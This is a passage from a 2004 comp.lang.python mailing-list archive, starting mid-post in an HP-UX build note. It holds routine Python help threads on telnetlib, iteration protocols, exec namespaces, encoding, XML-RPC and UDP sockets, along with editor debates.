> 5. Edit the pyconfig.h file to enable posix threads
> 
> 6. Edit the setup.py to avoid using installed 32-bit libraries
> 
> Index: setup.py
> ===================================================================
> RCS file: /cvsroot/python/python/dist/src/setup.py,v
> retrieving revision 1.171.6.2
> diff -u -r1.171.6.2 setup.py
> --- setup.py    21 Oct 2003 20:01:21 -0000      1.171.6.2
> +++ setup.py    24 Sep 2004 08:16:24 -0000
> @@ -591,7 +591,8 @@
> 
>          # The standard Unix dbm module:
>          if platform not in ['cygwin']:
> -            if find_file("ndbm.h", inc_dirs, []) is not None:
> +#            if find_file("ndbm.h", inc_dirs, []) is not None:
> +            if None is not None:
>                  # Some systems have -lndbm, others don't
>                  if self.compiler.find_library_file(lib_dirs, 'ndbm'):
>                      ndbm_libs = ['ndbm']
> @@ -698,7 +699,8 @@
>          #
>          # You can upgrade zlib to version 1.1.4 yourself by going to
>          # http://www.gzip.org/zlib/
> -        zlib_inc = find_file('zlib.h', [], inc_dirs)
> +#        zlib_inc = find_file('zlib.h', [], inc_dirs)
> +        zlib_inc = None
>          if zlib_inc is not None:
>              zlib_h = zlib_inc[0] + '/zlib.h'
>              version = '"0.0.0"'
> 
> 
> 7. run gmake all install
> 
> ---
> 
> Issues:
> 
> 1. The following line makes a lot of warnings when compiling, because it
> looks like the HP compiler already sets this:
> 
> /* Define to activate features from IEEE Stds 1003.1-2001 */
> #define _POSIX_C_SOURCE 200112L
> 
> 2. Shared library extensions for modules
> 
> The ELF libraries on HP-UX should have the extension .so. I tries to change
> the library extension from .sl to .so. However, the install scrips searched
> for files with the .sl extension anyway. I didn't dig deep to solve this
> issue, because the library extensions aren't that important for me at this
> point.
> 
> ---
> 
> I can send the Makefile and the pyconfig.h that I used to compile
> the Python to anyone interested.
> 
> 
> Best regards,
> 
> Matej
> 
> --
> Matej Kenda, HERMES SoftLab d.d., Slovenia



From junkmail at chipworks.net  Thu Sep 23 15:30:10 2004
From: junkmail at chipworks.net (Mike Monaghan)
Date: 23 Sep 2004 12:30:10 -0700
Subject: telnetlib close not closing sockets
References: <ab19b1e4.0409221437.573b3018@posting.google.com>
	<nwn4d.19601$pA.1328640@news20.bellglobal.com>
Message-ID: <ab19b1e4.0409231130.6d1e1b7e@posting.google.com>

Yannick,

The parenthesis after the tn.close() did the trick.  I know I've made
that mistake somewhere else.  Telnetlib's documentation even clearly
says .close() and I bet they mean the () is required.  Thank you!!!

As for read_until, I'm not reaching timeout there.  I am however
setting a timeout in the statement like so:

  print tn.read_until("\n>",5)

Maybe that change is  making it work for me.  Did you set a timeout
value when you were testing?

I do have a problem with an expect, but I'm 99% sure a control
character in the stream is missing from my expect statement because
some of the strings are being detected.  I'm going to play with it
again tonight.

I have to say I'm much impressed with the python language,
documentation, and community.  It will take a while to understand some
of the doc as they are written in a very technical manner.  I
personally think its great because most software efforts are plagued
by poor documentation.  So far all my problems have been my own.

Thanks again for your help!

Mike

Yannick Turgeon <nobody at nowhere.com> wrote in message news:<nwn4d.19601$pA.1328640 at news20.bellglobal.com>...
> Hello Mike,
> 
> Your subject remembered me some hard time using telnetlib on Windows. Oh God
> I searched for answers!:o) I would be very happy to prevent you this. To
> verify if you have the same problem, Could you tell me if you always reach
> the timeout (5 secs) before your read_until() return? 
> 
> For your current problem. Did you try with parenthesis after "close": 
> tn.close()
> 
> I hope it was just that! 
> 
> Yannick
> 
> Mike Monaghan wrote:
> > HOST = "fred"
> > tn = telnetlib.Telnet(HOST)
> > tn.write("DEMO\n")
> > print tn.read_until("\n>",5)
> > tn.write("OFF\n")
> > print tn.read_until("Logon Please:",5)
> > print tn.read_until("make sure socket queue is empty the hard way",5)
> > tn.close
> > 
> > I've tried several options to accomplish this, but for whatever reason
> > the socket remains open until I exit python.


From ebohlman at omsdev.com  Thu Sep  2 02:17:05 2004
From: ebohlman at omsdev.com (Eric Bohlman)
Date: 2 Sep 2004 06:17:05 GMT
Subject: YOU ALL SUCK!
References: <1bf5bcb9.15695836@aol.com>
Message-ID: <Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4>

"Amanita, Love Ewe" <ladyamanita at aol.com> wrote in
news:1bf5bcb9.15695836 at aol.com: 

> Sharon expects the printer within hers and actually looks.  Why will
> you grasp the ugly worthwhile onions before Satam does?  Many proud 
> cats over the abysmal planet were loving against the tired bathroom.  

This seems to be of somewhat better quality than the output of the typical 
random-text generator.  Can anyone suggest something on CPAN useful for 
such?


From ville at spammers.com  Wed Sep 22 06:46:37 2004
From: ville at spammers.com (Ville Vainio)
Date: 22 Sep 2004 13:46:37 +0300
Subject: Emacs is going to die! =( [was Re: Emacs + python (Was Re: python
	is going to die! =()
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<278de0e.0409201131.57baf7f9@posting.google.com>
	<414f61bf$0$29449$636a15ce@news.free.fr>
	<rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net>
	<87hdprv3qd.fsf_-_@ion.xlipstream.com>
Message-ID: <du7fz5a8tte.fsf_-_@lehtori.cc.tut.fi>

>>>>> "Chris" == Chris Green <cmg at dok.org> writes:

    Chris> http://cedet.sourceforge.net/semantic.shtml is a project
    Chris> working on the backend parsing to be able to be at the
    Chris> point where that context sensitive dynamic completions can
    Chris> happen ( well, as well as they could in python ).

Are they really considering doing this properly for Python? I haven't
even got it running properly with C++, but that might be because I've
tried to do it in xemacs. Python should be viable for context
sensitive dynamic completion via type inference, it's just that it's a
lot of work, work that probably has zero chance of getting done within
the cedet project that is resource starved anyway.

That's the whole problem with emacs - lack of resources. Nobody
bothers do anything "seriously". And when people within the emacs
community do things they pick bizarre ways of doing things, possibly
because they are often Lisp lovers that like to "think different". And
stubborn ones at that.

    Chris> I love emacs though I keep thinking one day that eclipse
    Chris> will take over and would love for there to be an emacslike
    Chris> engine on top of eclipse to access use
    Chris> customizations/keybindings etc.

Eclipse will no doubt take over. I'm a long time emacs user and a fan,
but both the emacs projects seem to have stagnated, and part of the
problem is that there are two of them. Emacs might need a fresh start,
but it's hardly likely; most probably a new project would be seen as
further dillution of already scarce emacs resources.

Luckily we emacs fans still have hope in eclipse - what needs to be
implemented is a Jython API that allows customization of eclipse in
the way elisp works for emacs. Eclipse has broad industry support and
a fair share of enthusiasm working for it, while emacs just doesn't
seem to be what kids like to hack anymore.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From aleaxit at yahoo.com  Mon Sep  6 17:06:06 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 23:06:06 +0200
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
Message-ID: <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:

> Andrew Dalke <adalke <at> mindspring.com> writes:
> > What I wanted was forward iteration
> > in Python 1.x.  It happened that forward iteration was
> > implemented only on top of indexing, so I had to hijack the
> > indexing mechanism to get what I wanted.  But I never thought
> > of it as "x[i] indexing" only "the hack needed to get forward
> > iteration working correctly."
> 
> Good, that reaffirms my intuition that you didn't really want the __getitem__
> behavior (eg x[i] access) -- it was just the only way to get the __iter__
> behavior too.

Yes, it used to be.


> Would it break old code if the __getitem__ iterator checked for a __len__
> method and tried to use it if it was there?  It just seems like if you already

Yes, it would break old code wherever the old code had a __len__ method
returning a value not congruent with the index value for which
__getitem__ raises IndexError.  That's possibly weird old code, but why
should it get broken?

Consider __len__ used to be a popular way to let your instances be
usable in a boolean context -- I believe __nonzero__ was introduced
later.  So, take a class which only know whether it's empty or not, it
could have a __len__ that only returns 0 (==empty) or  1(==nonempty),
and still allow proper iteration by only raising in __getitem__ when all
items have been iterated on.  If loops took account of __len__ suddenly
all that old code would break.  Maybe there's much and maybe there's
little, but why break ANY of it?!

> know you're creating a sequence type and you have a __len__ and a __getitem__,
> then you've already provided all the necessary information for iteration.  Why
> should you have to define an __iter__ or throw IndexErrors in your
__getitem__?

Because you used to be allowed to return from __len__ a value not
congruent with the index value for which __getitem__ raises IndexError,
and changing that might break old code.  As to whether that legacy
protocol was optimal, I think not -- today's __iter__ is clearly better,
simpler and faster.  If you have many classes which define __getitem__
and __len__ and want to iterate on them all, make a mixin class:

class MixinLenwiseIterator:
    def __iter__(self):
        return LenwiseIterator(self)

class LenwiseIterator(object):
    def __iter__(self):
        return self
    def __init__(self, seq):
        self.seq = seq
        self.i = 0
    def next(self):
        if self.i >= len(self.seq):
            raise StopIteration
        result = self.seq[self.i]
        self.i += 1
        return result

Just add MixinLenwiseIterator to your sequence classes' bases and be
happy.


Alex


From jerf at jerf.org  Wed Sep  8 02:42:28 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Wed, 08 Sep 2004 06:42:28 GMT
Subject: Memory Error while constructing Compound Dictionary
References: <ccdb2248.0409070947.7f9e94ec@posting.google.com>
	<1gjroty.tp0ndj1vwu3e7N%aleaxit@yahoo.com>
	<ccdb2248.0409071946.5a5dc727@posting.google.com>
Message-ID: <pan.2004.09.08.02.42.39.548356@jerf.org>

On Tue, 07 Sep 2004 20:46:18 -0700, Benjamin Scott wrote:

> The Original Problem:
> 
> The data set:  3 Columns and at least 100,000 rows.  However, it can
> be up to 1,000,000 rows.
> 
> For the purpose of illustration let's suppose that the first column
> has the name of 1,000 "Factories", i.e. there are 1,000 unique symbols
> in the first column.  Likewise, suppose the second column contains a
> "production date" or just a date; there are 250 unique dates in the
> second column.  Finally, suppose the third column contains a
> description of a "widget type"; there are 500 unique widget
> descriptions.

Based on these numbers, aren't the majority of your lists empty? In that
case, key off of a tuple as you need them. For some "factory", "date",
"widget" and "whatever" (the data, which you don't specify):

Dict[(factory, date, widget)].setdefault([]).append(whatever)

(You may actually benefit from changing the setdefault around to some
"try"-based scheme; you'd have to benchmark the various choices if it
matters to you. Also, depending on your data, consider Psyco.)

No extra memory. Some potentially significant slowdown due to tuple
construction and empty list construction.

(Depending on what you are doing, C++ and the STL can be not *that* much
harder to program in, and it should support hash tables with tuple keys,
although I don't know the magic incantations off the top of my head. If
you're just adding some numbers or something, this is also likely to be
enough faster that it may even be faster to develop in, since the program
will almost certainly execute much, much faster, potentially making the
write-compile-test-debug cycle still faster than Python. Of course, if
this is a prelude to complicated meta-hack programming of the type Python
makes easy, never mind; I'm kinda guessing you're just storing numbers on
the grounds that you can't store much else in the machine at once. If
that's a bad assumption, you are in some trouble, as even C++ can only be
100%-episilon efficient and it will likely be affected by the same memory
limit, in which case you either need a larger machine or a database.

Actually, you probably should go to a database now; these problems have a
habit of doubling or tripling in size when someone decides it'd be neat to
add Just One More attribute and you already pretty much can't afford that.)


From lkirsh at cs.ubc.ca  Thu Sep  2 00:56:40 2004
From: lkirsh at cs.ubc.ca (Lowell Kirsh)
Date: Wed, 01 Sep 2004 21:56:40 -0700
Subject: why is this so slow?
In-Reply-To: <mailman.2751.1094099460.5135.python-list@python.org>
References: <mailman.2751.1094099460.5135.python-list@python.org>
Message-ID: <ch696c$kea$1@mughi.cs.ubc.ca>

thanks for the help. the link is really good too :)

Robert Brewer wrote:

> Lowell Kirsh wrote:
> 
>>I created the following class (I know it's a dirty hack) so I 
>>could do 
>>foo.bar instead of using a dictionary and having to type foo['bar'] :
>>
>>     class DefaultAttr(object):
>>         def __getattribute__(self, attr):
>>             if not hasattr(self, attr):
>>                 return ''
>>             return object.__getattribute__(self,attr)
>>
>>but its use is totally slowing down my program. Why is it so 
>>slow and is there a better way?
> 
> 
> IIRC, hasattr calls __getattribute__. If you run:
> 
>      class DefaultAttr(object):
>          def __getattribute__(self, attr):
>              print "Looking up %s" % attr
>              if not hasattr(self, attr):
>                  return ''
>              return object.__getattribute__(self,attr)
>      da = DefaultAttr()
>      print da.f
> 
> ...you can see the lookups whizzing by. Try this instead:
> 
> class DefaultAttr(object):
>     def __getattr__(self, attr):
>         return ''
> 
> http://docs.python.org/ref/attribute-access.html explains the
> difference, that __getattr__ only gets called when the object is not
> found "in the usual places".
> 
> 
> HTH
> 
> Robert Brewer
> MIS
> Amor Ministries
> fumanchu at amor.org


From aleaxit at yahoo.com  Sun Sep  5 12:41:01 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 5 Sep 2004 18:41:01 +0200
Subject: list conversion question
References: <mailman.2860.1094267481.5135.python-list@python.org>
	<3Ma_c.13188$Dl4.3729@fe2.texas.rr.com>
Message-ID: <1gjlql9.1e3392o1gkiwayN%aleaxit@yahoo.com>

Paul McGuire <ptmcg at austin.rr._bogus_.com> wrote:
   ...
> values = [ i for i in enumerate(hist)]

values = list(enumerate(hist))

is IMHO a better way to make a list in such cases.


Alex


From roy at panix.com  Wed Sep 22 09:29:04 2004
From: roy at panix.com (Roy Smith)
Date: Wed, 22 Sep 2004 09:29:04 -0400
Subject: Emacs is going to die! =( [was Re: Emacs + python (Was Re:
	python is going to die! =()
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<278de0e.0409201131.57baf7f9@posting.google.com>
	<414f61bf$0$29449$636a15ce@news.free.fr>
	<rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net>
	<87hdprv3qd.fsf_-_@ion.xlipstream.com>
	<du7fz5a8tte.fsf_-_@lehtori.cc.tut.fi>
Message-ID: <roy-FDBC05.09290422092004@reader1.panix.com>

Of course emacs is going to die someday.  But considering that it's been 
around for something like 25 years, and still going strong, I'm not too 
worried that it's going to be anytime soon.


From askari at addressNonValide.com  Mon Sep 20 08:07:53 2004
From: askari at addressNonValide.com (Askari)
Date: Mon, 20 Sep 2004 12:07:53 GMT
Subject: sys.setdefaultencoding(name)
References: <Xns9568641F5C869askariaddressNonVali@207.35.177.135>
	<Xns9568A73F4BFF9cpl19ghumspamgourmet@195.20.224.116>
	<Xns956957916F419askariaddressNonVali@207.35.177.135>
	<Xns9569F39D2C884cpl19ghumspamgourmet@195.20.224.116>
Message-ID: <Xns956A530BDD94CaskariaddressNonVali@207.35.177.135>

Harald Massa <cpl.19.ghum at spamgourmet.com> wrote in 
news:Xns9569F39D2C884cpl19ghumspamgourmet at 195.20.224.116:

> Askari,
> 
>> """
>> import site
>> site.encoding = "latin_1"
>> """
>> 
>> Why?
>> And, I do the good think? (site.encoding = "latin_1")
> 
> No, you do a the bad thing.
> 
> You have to EDIT the site.py within python\lib\site.py
> 
> open it within an editor, find "ASCII" and replace by latin1
> 
> site.encodiging="Latin_1" just adds an attribute NOBODY cares for to a 
> module in memory.
> 
> Harald
> 

It work! :-)

Thanks!



From aleaxit at yahoo.com  Wed Sep 15 10:20:31 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 15 Sep 2004 16:20:31 +0200
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
Message-ID: <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>

Jorge Godoy <godoy at ieee.org> wrote:
   ...
> > On a Mac it looks like anything else does on a Mac, and
> > on Linux or Windows it (currently) looks like anything
> > else that uses Gtk.
> 
> I'm not familiar with the looks on Macs...  But I remember something of
> it, from the last visit to a store that has some of these here
> (I remember specially the design of the computers, the look of the
> applications seemed very interesting, but KDE is approaching it very
> fast, IMHO).

IMNSHO, nope -- I'm quite a fan of KDE, but I discovered Macs 9 months
ago and immediately fell in love with MacOSX's "Aqua" user interface
look and feel.  These days I use a Mac for everything I can possibly use
one for, even though I mostly program for Linux (and a little Windows).

> I really would like a lot if it was possible to write
> non-GPL code with Qt (not that I'm against GPL software, but some

It's perfectly possible: Trolltech, the authors of Qt, will be extremely
happy to sell you a commercial license of Qt so you can develop and sell
your code as closed-source or whatever.


> > As far as I can remember, I drew them with Appleworks 6,
> > printed them to PDF files, opened them with Preview and
> > then saved them as jpegs. (Photoshop might also have been
> > involved in there somewhere, I don't recall now.)
> 
> Too bad these aren't tools available on Linux or FreeBSD...  I really
> liked the way they look :-)

Me too (well, not Photoshop, actually -- if I had to process images I
think I'd use GIMP instead), so I use them on my Mac iBook 12" laptop
(whose operating system's guts aren't all that far from FreeBSD --
there's some Mach microkernel involved, but it's very unlikely that
could possibly be a problem -- those guts are all opensource, too, under
the name of 'Darwin').


Alex


From jeff at ccvcorp.com  Thu Sep 30 21:13:00 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Thu, 30 Sep 2004 18:13:00 -0700
Subject: embedding python in python
In-Reply-To: <415ca9a3$1@news.unimelb.edu.au>
References: <415a7f0b$1@news.unimelb.edu.au>
	<4b39d922.0409290938.42c68ca4@posting.google.com>
	<415b415e$1@news.unimelb.edu.au> <415c921b$1@news.unimelb.edu.au>
	<10lp8chm0d6u185@corp.supernews.com>
	<415ca9a3$1@news.unimelb.edu.au>
Message-ID: <10lpblcj519fv1f@corp.supernews.com>

Maurice LING wrote:

> Please pardon me for my dumbness but what exactly goes on in
>
> exec "b = 1 + 2" in myglobals, mylocals


What's happening is that I've provided two dictionaries for exec to use 
as a global namespace and a local namespace, respectively.  In this 
particular example, both namespaces are empty, but we're not looking up 
any names in those namespaces, so that doesn't matter.  We *are* binding 
a name ('b') in the local namespace.  That local namespace is the dict 
I've named mylocals, so when exec is finished I can reference 
mylocals['b'] and find the value that 'b' was bound to inside the exec 
statement.

The next example is a bit more complex.  I'm passing the same 
dictionaries, but now the local namespace contains that reference to 
'b'.  The exec statement looks up that name, finds that it's bound to 
the value 3, multiplies that value by 2, and binds the result to 'c', 
again all in the local namespace (which is still the mylocals dict).  
Now I've got *two* names bound in mylocals -- 'b' and 'c'.

Note that my initial dictionaries don't need to be empty.  Just as was 
demonstrated in the second example, if there are entries in those 
dictionaries then the exec'd code can refer to them as if they were 
normal (global or local) variable names.  This also means that exec'd 
code can't refer to any *other* global or local variables --

 >>> myglobals = {}
 >>> mylocals = {}
 >>> foo = 5
 >>> exec "bar = foo * 5"
 >>> bar
25
 >>> exec "bar = foo * 5" in myglobals, mylocals
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "<string>", line 1, in ?
NameError: name 'foo' is not defined
 >>> myglobals['foo'] = 10
 >>> exec "bar = foo * 5" in myglobals, mylocals
 >>> mylocals
{'bar': 50}
 >>>

When using a bare exec, the current local and global namespaces are 
used, so exec finds 'foo' and binds 'bar'.  But when I give exec two 
empty dicts, the name 'foo' is undefined within the exec statement, even 
though it exists in the interpreter's namespace.  After creating 'foo' 
within myglobals, though, exec can find it, and then binds 'bar' within 
mylocals.

In short, you can carefully construct a global and local namespace for 
your exec'd code, which contains only those variables that you *want* 
that code to see.  If that exec'd code binds any new variable names, 
then those names will remain in those namespaces when exec is done, so 
you can retrieve them later.

Jeff Shannon
Technician/Programmer
Credit International



From maxm at mxm.dk  Tue Sep  7 07:21:48 2004
From: maxm at mxm.dk (Max M)
Date: Tue, 07 Sep 2004 13:21:48 +0200
Subject: How to actually write a program?
In-Reply-To: <pan.2004.09.07.10.13.28.793419@aleax.it>
References: <chano0$1gv$1@sparta.btinternet.com>
	<pan.2004.09.07.10.13.28.793419@aleax.it>
Message-ID: <413d98f8$0$190$edfadb0f@dread12.news.tele.dk>

Anna Martelli Ravenscroft wrote:

> One other tip: add lots of print statements. Print statements are your
> friend. They can help you figure out what it's *actually* doing, (and more
> importantly sometimes: what it's *NOT* doing) rather than just what you
> hope it might be doing. For example, when you start on defining funcx(a),
> you could start by having it just print what you gave it for arguments.
> You can always comment out or remove the print statements afterwards.

If you intend to use print that way it might be more efficient to write 
a special test print function.


def tp(text):
     TEST = 1
     if TEST:
         print text


That way you will only have to set TEST = 0 to avoid printing debug 
print statements.

regards Max M


From dperl at rogers.com  Wed Sep  1 20:17:22 2004
From: dperl at rogers.com (Dan Perl)
Date: Thu, 02 Sep 2004 00:17:22 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<sweNBls/KXoF089yn@the-wire.com>
	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>
	<CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com>
	<u3c21wnbq.fsf@fitlinxx.com>
Message-ID: <mEtZc.160666$UTP.71082@twister01.bloor.is.net.cable.rogers.com>


"David Bolen" <db3l at fitlinxx.com> wrote in message
news:u3c21wnbq.fsf at fitlinxx.com...
> "Dan Perl" <dperl at rogers.com> writes:
>
> > After all this discussion, what do people think about this code?
>
> On face value, I'd question why you're going through the extra effort.
> I may be missing the point in such a small example, but just having an
> __init__ in the base class that subclasses are supposed to call seems
> simpler.
>
> If you're just trying to find some way to have default attributes that can
> be used from subclasses without calling __init__, I'd probably just use
> class level definitions.  For example:

That is exactly what I'm trying to do, and in the initial posting of the
thread I was mentioning an initialization exactly like yours, but at the
same time I was pointing out that an initialization like that works only for
immutable attributes and not for mutable attributes, hence the need for the
__init__.  Or doing it in __new__ as I showed in the new code.

>           - - - - - - - - - - - - - - - - - - - - - - - - -
> Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on
win32
> Type "help", "copyright", "credits" or "license" for more information.
> >>> class Test(object):
> ...     attr1 = 666
> ...
> >>> class Derived(Test):
> ...     def __init__(self):
> ...         self.attr2 = 111
> ...
> >>> d = Derived()
> >>> print d.attr1, d.attr2
> 666 111
> >>> print isinstance(d, Test)
> True
> >>>
>           - - - - - - - - - - - - - - - - - - - - - - - - -
>
> -- David




From carribeiro at gmail.com  Mon Sep  6 09:18:26 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 6 Sep 2004 10:18:26 -0300
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <slrncjolea.1ab.apardon@rcpc42.vub.ac.be>
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<mailman.2833.1094220348.5135.python-list@python.org>
	<1gjjy21.2sppd3100wm1fN%aleaxit@yahoo.com>
	<slrncjolea.1ab.apardon@rcpc42.vub.ac.be>
Message-ID: <864d370904090606187d86d812@mail.gmail.com>

On 6 Sep 2004 12:18:24 GMT, Antoon Pardon <apardon at forel.vub.ac.be> wrote:
> But I think it would be nice to have a naming convention that made
> it clear whether you got an iterator or a sequence (list).
> 
> If we would use names like ranging, reversing ... when an iterator
> is returned and sorted, ... when a sorted copy of the sequence
> is returned I think that would greatly help people in understanding
> what is going on.

After reading all the arguments, it is clear that there are two ways
to look at the naming situation.

1) If you look it from a structured point of view, there are four
possible combinations of sorted() and reversed(), depending upon the
return value -- a list or an iterator. In this case, the names for the
current builtins should be sorted() and ireversed().

2) If you take a more relaxed look and want to give simple names to
solve the most useful and common situations, then the current naming
scheme is ok, with a single exception: you can't used reversed() to
assign the reversed list to another variable. That's the only catch.

The case for (1) would be stronger if the proposed naming didn't had
any problems of its own. Just to mention a few problems with the
ireversed() name:

-- It smells something out of hungarian notation, which many people
don't like at all.

-- The "i" prefix is overloaded just too many times (specially if you
consider upper and lower case variations) -- it can mean integer,
interface, or iterable (in the case of itertools).

--  I don't know about any other opinions, but the "i" prefix just
doesn't sound right to me, pretty much because ireversed() sounds like
a different word with a different meaning, not like "i-reversed". In
linguistic terms, it *is* a problem because the "i" prefix does have a
meaning of its own -- as in reversible --> irreversible. And
xreversed() (my original choice) is out of question, as xrange is
being deprecated now.


In the end, it may end up being a matter of choice and personal taste.
ireversed() is more consistent (accordingly to line of reasoning (1))
but doesn't *sound* as good as reversed(). I just can't come up with a
different naming scheme that is both readable and simple to remember.
I fear that it's too late to discuss it properly now.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From martin at v.loewis.de  Fri Sep 17 02:38:17 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 17 Sep 2004 08:38:17 +0200
Subject: XML_RPC and unicode problems
In-Reply-To: <y_ydnc-FMKhHpdfcRVn-vQ@powergate.ca>
References: <7bf84d19.0409161548.521da358@posting.google.com>
	<mailman.3422.1095379149.5135.python-list@python.org>
	<y_ydnc-FMKhHpdfcRVn-vQ@powergate.ca>
Message-ID: <414A8659.7080902@v.loewis.de>

phansen wrote:
> Seems to me that description is inadequate, if one has to revert
> to <base64> to pass through a string with an \xa0 in it.

No. \xa0 just is not a character. In XML, all bytes must denote
characters, and \xa0 does not denote any character when the
encoding is UTF-8.

To transmit binary data, use the base64 element, available through
xmlrpclib.Binary in Python.

Regards,
Martin


From grante at visi.com  Mon Sep 20 12:01:25 2004
From: grante at visi.com (Grant Edwards)
Date: 20 Sep 2004 16:01:25 GMT
Subject: MAC address
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
Message-ID: <414efed5$0$60631$a1866201@newsreader.visi.com>

On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote:

> its actually windows that i would like to find out about. what
> i am trying to do is to anonymize client address by picking a
> random MAC address and using that instead

That's a pretty bad idea.  If you insist on doing it, read the
Ethernet spec so you make sure you're picking a valid address.

-- 
Grant Edwards                   grante             Yow!  Yow! I'm out of
                                  at               work...I could go into
                               visi.com            shock absorbers...or SCUBA
                                                   GEAR!!


From onurb at xiludom.gro  Thu Sep 23 16:18:59 2004
From: onurb at xiludom.gro (bruno modulix)
Date: Thu, 23 Sep 2004 22:18:59 +0200
Subject: good way to do side effects on lists?
In-Reply-To: <85bc2819.0409230702.2a5c4ab5@posting.google.com>
References: <415208a1$1_4@news3.es.net> <cit221$a33$1@pegasus.csx.cam.ac.uk>
	<85bc2819.0409230702.2a5c4ab5@posting.google.com>
Message-ID: <4153315a$0$17453$636a15ce@news.free.fr>

danny a ?crit :
> Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote in message news:<cit221$a33$1 at pegasus.csx.cam.ac.uk>...
>  
> 
>>But with all that set-up it's not really a one-liner. And what's wrong with
>>your first proposal anyway?
> 
> 
> Nothing is really wrong with it. I assume it runs a little slower than
> something native, 

Dont assume, test !-)

def fun(arg):
     if arg > 500 :
             a = 42
     else:
             b = 84

def withfor(alist):
     for item in alist: fun(item)

def withmap(alist):
     map(fun, alist)

alist = range(1000)

from timeit import Timer

t1 = Timer("withfor(alist)", "from __main__ import withfor, alist")
t2 = Timer("withmap(alist)", "from __main__ import withmap, alist")

t1.repeat(3, 1000)
[1.9760220050811768, 1.975412130355835, 1.9746799468994141]

t2.repeat(3, 1000)
[2.1670758724212646, 2.1661739349365234, 2.1647889614105225]

HTH
Bruno


From carribeiro at gmail.com  Wed Sep  8 13:37:20 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 8 Sep 2004 14:37:20 -0300
Subject: A historical question
In-Reply-To: <PrOdnY4r84NytqLcRVn-ow@powergate.ca>
References: <chmphe$21tc$1@ulysses.noc.ntua.gr>
	<mailman.3035.1094653384.5135.python-list@python.org>
	<PrOdnY4r84NytqLcRVn-ow@powergate.ca>
Message-ID: <864d370904090810375f8d136d@mail.gmail.com>

On Wed, 08 Sep 2004 11:59:38 -0400, Peter Hansen <peter at engcorp.com> wrote:
> Carlos Ribeiro wrote:
> > ... Even old
> > languages such as BASIC used to be compiled to some form of
> > intermediate code -- a similar concept to Python's bytecode, but much
> > simpler.
> 
> <snip>
>
> The only "compilation" that went on was actually called
> "tokenization", and that meant only that keywords such
> as PRINT were turned into single-byte values that corresponded
> directly to the keyword in the source.  

You're right -- I oversimplified my explanation to reinforce the fact
that few systems ever run the program directly from the source code,
as the original poster implied in his question. Tokenization is only
the first step. But as a generic (and simple) explanation, its result
is conceptually one step closer to Python's (or Java's) bytecode than
the original (textual) program source.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From fluxent at yahoo.com  Sat Sep 11 08:33:24 2004
From: fluxent at yahoo.com (Bill Seitz)
Date: 11 Sep 2004 05:33:24 -0700
Subject: newbie sending hex values over UDP socket
References: <e2491a75.0409091744.53fab172@posting.google.com>
	<chr22o$7ra$1@news.service.uci.edu>
	<e2491a75.0409100843.79a49a7a@posting.google.com>
	<QYGdnckJ3ukLf9zcRVn-sQ@powergate.ca>
Message-ID: <e2491a75.0409110433.2e9c00c5@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<QYGdnckJ3ukLf9zcRVn-sQ at powergate.ca>...
> Bill Seitz wrote:
> > Are you saying I can just do something as simple as
> > sock.send('ri0')
> > ?
> 
> Exactly.  That sends three bytes corresponding to the
> "raw" byte values you showed before.
> 
> > (This interface is typically used over a modem connection between 2
> > embedded/hardware devices, if that provides a clue/context. So it's
> > entirely possible that I've thought the situation was more complicated
> > than it really is because the other guy is used to dealing with these
> > low-level devices...)
> 
> The beauty of Python... makes working with even low-level hardware
> a pleasure compared to many languages. :-)
